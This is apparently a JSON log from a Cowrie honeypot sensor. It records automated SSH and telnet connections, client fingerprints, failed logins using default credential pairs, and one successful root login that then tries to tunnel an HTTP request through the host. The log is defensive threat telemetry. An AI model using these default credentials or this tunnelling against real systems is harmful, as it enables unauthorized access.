a2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:13:56.198593Z","src_ip":"171.231.180.86","session":"21942e9a4979","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"default","message":"login attempt [admin/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:13:57.273438Z","src_ip":"171.231.180.86","session":"21942e9a4979","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:13:58.706594Z","src_ip":"171.231.180.86","session":"21942e9a4979","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.138.190.72","src_port":51146,"dst_ip":"10.17.0.5","dst_port":22,"session":"f563b0da14c9","protocol":"ssh","message":"New connection: 3.138.190.72:51146 (10.17.0.5:22) [session: f563b0da14c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:15:48.646883Z"}
{"eventid":"cowrie.session.connect","src_ip":"3.138.190.72","src_port":41542,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1c444177a04","protocol":"telnet","message":"New connection: 3.138.190.72:41542 (10.17.0.5:23) [session: e1c444177a04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:15:49.375071Z"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:15:49.554549Z","src_ip":"3.138.190.72","session":"f563b0da14c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.29535531997680664,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:15:49.670287Z","src_ip":"3.138.190.72","session":"e1c444177a04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.243.151.30","src_port":51568,"dst_ip":"10.17.0.5","dst_port":22,"session":"888ba66395d3","protocol":"ssh","message":"New connection: 171.243.151.30:51568 (10.17.0.5:22) [session: 888ba66395d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:17:10.758117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:17:10.762632Z","src_ip":"171.243.151.30","session":"888ba66395d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:17:10.987045Z","src_ip":"171.243.151.30","session":"888ba66395d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:17:11.990470Z","src_ip":"171.243.151.30","session":"888ba66395d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:17:15.040462Z","src_ip":"171.243.151.30","session":"888ba66395d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.132","src_port":49185,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f9fc076b223","protocol":"ssh","message":"New connection: 147.185.132.132:49185 (159.203.135.109:22) [session: 6f9fc076b223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:17:37.825990Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:17:37.987420Z","src_ip":"147.185.132.132","session":"6f9fc076b223","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.231.180.86","src_port":58800,"dst_ip":"10.17.0.5","dst_port":22,"session":"737ff361ec8d","protocol":"ssh","message":"New connection: 171.231.180.86:58800 (10.17.0.5:22) [session: 737ff361ec8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:18:17.758154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:18:17.777748Z","src_ip":"171.231.180.86","session":"737ff361ec8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:18:18.020050Z","src_ip":"171.231.180.86","session":"737ff361ec8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator","message":"login attempt [operator/operator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:18:25.864921Z","src_ip":"171.231.180.86","session":"737ff361ec8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.7","message":"Connection lost after 9.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:18:27.421356Z","src_ip":"171.231.180.86","session":"737ff361ec8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.101.149.190","src_port":37489,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b1cca94fe21","protocol":"telnet","message":"New connection: 98.101.149.190:37489 (159.203.135.109:23) [session: 9b1cca94fe21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:19:29.588398Z"}
{"eventid":"cowrie.session.closed","duration":13.15897798538208,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:19:42.747255Z","src_ip":"98.101.149.190","session":"9b1cca94fe21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.231.180.86","src_port":60616,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e42932ea133","protocol":"ssh","message":"New connection: 171.231.180.86:60616 (10.17.0.5:22) [session: 8e42932ea133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:20:03.064339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:20:03.069380Z","src_ip":"171.231.180.86","session":"8e42932ea133","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:20:03.364028Z","src_ip":"171.231.180.86","session":"8e42932ea133","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"admin","message":"login attempt [support/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:20:06.405821Z","src_ip":"171.231.180.86","session":"8e42932ea133","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:20:07.680696Z","src_ip":"171.231.180.86","session":"8e42932ea133","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.243.151.30","src_port":43616,"dst_ip":"10.17.0.5","dst_port":22,"session":"71af49d1b5e6","protocol":"ssh","message":"New connection: 171.243.151.30:43616 (10.17.0.5:22) [session: 71af49d1b5e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:23:31.317425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:23:31.322609Z","src_ip":"171.243.151.30","session":"71af49d1b5e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:23:31.554691Z","src_ip":"171.243.151.30","session":"71af49d1b5e6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"ipscan","message":"login attempt [root/ipscan] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:23:33.113669Z","src_ip":"171.243.151.30","session":"71af49d1b5e6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"ip-who.com","dst_port":80,"src_ip":"171.243.151.30","src_port":0,"message":"direct-tcp connection request to ip-who.com:80 from :0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:23:33.343776Z","session":"71af49d1b5e6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"ip-who.com","dst_port":80,"ja4h":"ge11nn010000_4740ae6347b0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to ip-who.com:80: ge11nn010000_4740ae6347b0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:23:33.572692Z","src_ip":"171.243.151.30","session":"71af49d1b5e6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"ip-who.com","dst_port":80,"data":"b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to ip-who.com:80 with data b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:23:33.575776Z","src_ip":"171.243.151.30","session":"71af49d1b5e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:23:33.817703Z","src_ip":"171.243.151.30","session":"71af49d1b5e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.243.151.30","src_port":58202,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4ca6e114928","protocol":"ssh","message":"New connection: 171.243.151.30:58202 (10.17.0.5:22) [session: d4ca6e114928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:24:21.736836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:24:21.794487Z","src_ip":"171.243.151.30","session":"d4ca6e114928","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519